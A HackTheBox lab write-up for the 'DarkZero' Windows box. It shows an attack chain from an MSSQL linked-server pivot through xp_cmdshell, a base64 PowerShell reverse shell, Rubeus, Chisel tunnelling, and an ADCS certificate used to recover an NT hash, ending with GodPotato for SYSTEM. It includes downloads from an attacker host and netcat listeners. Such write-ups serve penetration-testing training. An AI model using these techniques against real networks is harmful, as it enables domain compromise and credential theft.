# DarkZero Writeup - HackTheBox

> Hard Windows box involving advanced exploitation techniques, privilege escalation, and lateral movement through a complex Windows environment.

- **URL:** https://hackindex.io/writeups/darkzero
- **Platform:** HackTheBox
- **Difficulty:** Hard
- **Operating system:** Windows
- **Machine:** https://www.hackthebox.com/machines/darkzero
- **Tags:** active-directory, adcs, privilege-escalation, base64, lateral-movement
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-07-29
- **Updated:** 2026-07-29

DarkZero is an assume breach Windows target. Two forests, `darkzero.htb` and `darkzero.ext`, are joined by a bidirectional cross forest trust. I get valid credentials up front, pivot through an MSSQL linked server into the second forest where my mapped login is sysadmin, drop to a shell as the SQL service account, and finish with ADCS plus RunAsCS to reach SYSTEM.

## Recon

I was handed credentials for the domain user `john.w`. From here on the password is referenced as `$JOHNS_PASSWORD`. The account authenticates over SMB, LDAP and MSSQL, so MSSQL on DC01 is the first thing worth poking.

Set the working variables:

```
TARGET_IP=<DC01 address>
USER=john.w
```

## Initial Access

### MSSQL on DC01

Log in to the SQL instance with Windows auth using Impacket:

```bash
mssqlclient.py darkzero.htb/$USER:'$JOHNS_PASSWORD'@DC01.darkzero.htb -windows-auth
# SQL (darkzero\john.w  guest@master)> enum_links
# SRV_NAME            SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE      SRV_LOCATION
# DC01                SQLNCLI            SQL Server    DC01                NULL
# DC02.darkzero.ext   SQLNCLI            SQL Server    DC02.darkzero.ext   NULL
#
# Linked Server       Local Login       Is Self Mapping   Remote Login
# DC02.darkzero.ext   darkzero\john.w                 0   dc01_sql_svc
```

```bash
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [DC02.darkzero.ext]
# 1
```

The mapped login is sysadmin on DC02. That is command execution waiting to happen.

### Shell as svc_sql on DC02

Switch the session context onto the linked server and turn on `xp_cmdshell`:

```bash
use_link [DC02.darkzero.ext]
enable_xp_cmdshell
xp_cmdshell whoami
# output
# darkzero-ext\svc_sql
# NULL
```

Code execution on DC02 as `darkzero-ext\svc_sql`. Trade the single command primitive for an interactive session with a base64 encoded PowerShell reverse shell pointed at my listener:

```bash
xp_cmdshell powershell -e <base64_reverse_shell>
```

Catch it on the attacker box:

```bash
nc -lnvp $ATTACKER_PORT
```

I now hold a shell as `svc_sql` on DC02. Next I need to turn that into SYSTEM.

## Privilege Escalation

`svc_sql` is a service account, so the plan is to recover a usable credential for it, then relaunch as a service logon that keeps `SeImpersonatePrivilege`, then abuse that privilege for SYSTEM. The certificate route gives me the cleanest credential.

### TGT for svc_sql with Rubeus

Upload Rubeus and pull a delegation TGT for the current context:

```powershell
.\rubeus.exe tgtdeleg /nowrap
#
# [*] Action: Request Fake Delegation TGT (current user)
# [*] base64(ticket.kirbi):
#       doIFgDCCBXyg...<trimmed>...GwxEQVJLWkVSTy5FWFQ=
```

Convert the kirbi to a ccache on the attacker box so Impacket and Certipy can use it:

```bash
echo <base64_ticket> | base64 -d > svc_sql.kirbi
ticketConverter.py svc_sql.kirbi svc_sql.ccache
```

I have a Kerberos ticket for `svc_sql`, but DC02 sits on an internal network. I need routing before Certipy can reach it.

### SOCKS proxy with Chisel

DC02 lives on the `172.16.20.0/24` side, unreachable directly. Stand up a reverse SOCKS tunnel through my shell.

Attacker:

```bash
./chisel server -p 8000 --reverse
```

Target:

```powershell
.\c.exe client $ATTACKER_IP:8000 R:socks
```

This gives me a SOCKS5 proxy on `127.0.0.1:1080`. Route Certipy through it with proxychains.

### Request a certificate from ADCS

Identify the CA on DC02:

```bash
xp_cmdshell certutil
# Entry 0: (Local)
#   Name:     "darkzero-ext-DC02-CA"
#   Config:   "DC02.darkzero.ext\darkzero-ext-DC02-CA"
```

The default `user` template is enrollable by any domain user. Request a cert for `svc_sql` using the ccache over the tunnel:

```bash
KRB5CCNAME=svc_sql.ccache proxychains certipy req -u svc_sql -k -no-pass \
  -dc-host DC02.darkzero.ext -target DC02.darkzero.ext \
  -ca darkzero-ext-DC02-CA -template user
#
# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Got certificate with UPN 'svc_sql@darkzero.ext'
# [*] Saving certificate and private key to 'svc_sql.pfx'
```

### Recover the NT hash

Authenticate with the PFX. Certipy pulls a TGT and, through UnPAC the hash, the NT hash for `svc_sql`:

```bash
proxychains certipy auth -pfx svc_sql.pfx -domain darkzero.ext -dc-ip 172.16.20.2
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saving credential cache to 'svc_sql.ccache'
```

The output hands me the `svc_sql` NT hash, referenced here as `$SVC_SQL_HASH`. That hash feeds RunAsCS.

### Relaunch as a service logon with RunAsCS

The reason the credential matters: the current `xp_cmdshell` token does not carry the impersonation right, but a service logon for `svc_sql` does. `Policy_Backup.inf` on DC02 confirms the account holds `SeServiceLogonRight`:

```ini
[Privilege Rights]
SeServiceLogonRight = *S-1-5-20,svc_sql,SQLServer2005SQLBrowserUser$DC02,...
```

Pull RunAsCS onto the target:

```powershell
curl http://$ATTACKER_IP/RunAsCS.exe -outfile RunAsCS.exe
```

Spawn a process as `svc_sql` using the hash and a service logon type, which preserves `SeImpersonatePrivilege`:

```powershell
.\RunAsCS.exe -u svc_sql -p $SVC_SQL_HASH -d darkzero.ext -c "cmd.exe /c whoami" --logon-type 5
```

That process now runs with impersonation rights. Time to cash them in.

### SeImpersonate to SYSTEM with GodPotato

Stage GodPotato and a reverse shell script:

```powershell
wget http://$ATTACKER_IP/GodPotato-NET4.exe -outfile gp.exe
wget http://$ATTACKER_IP/shell.ps1 -outfile shell.ps1
```

From inside the service token context, launch GodPotato to run the shell as SYSTEM:

```powershell
New-Win32Process -Commandline 'C:\programdata\gp.exe -cmd "powershell C:\programdata\shell.ps1 2>&1"' -token $token
```

Catch the callback:

```bash
nc -lnvp $ATTACKER_PORT
# Connection received
#
# PS C:\Windows\system32> whoami
# nt authority\system
```

SYSTEM on DC02. User was `svc_sql` via the linked server pivot, root is SYSTEM via ADCS plus service logon plus GodPotato.

## Notes

The chain hinges on two misconfigurations. The MSSQL linked server maps a low privilege user to a sysadmin login across the forest trust, which turns a single set of provided creds into code execution on the far DC. Second, the `user` certificate template is enrollable by any domain user, so a delegation TGT is enough to mint a certificate and unpack the service account hash. From there the service account already carrying `SeServiceLogonRight` and `SeImpersonatePrivilege` makes the final hop to SYSTEM routine.

Related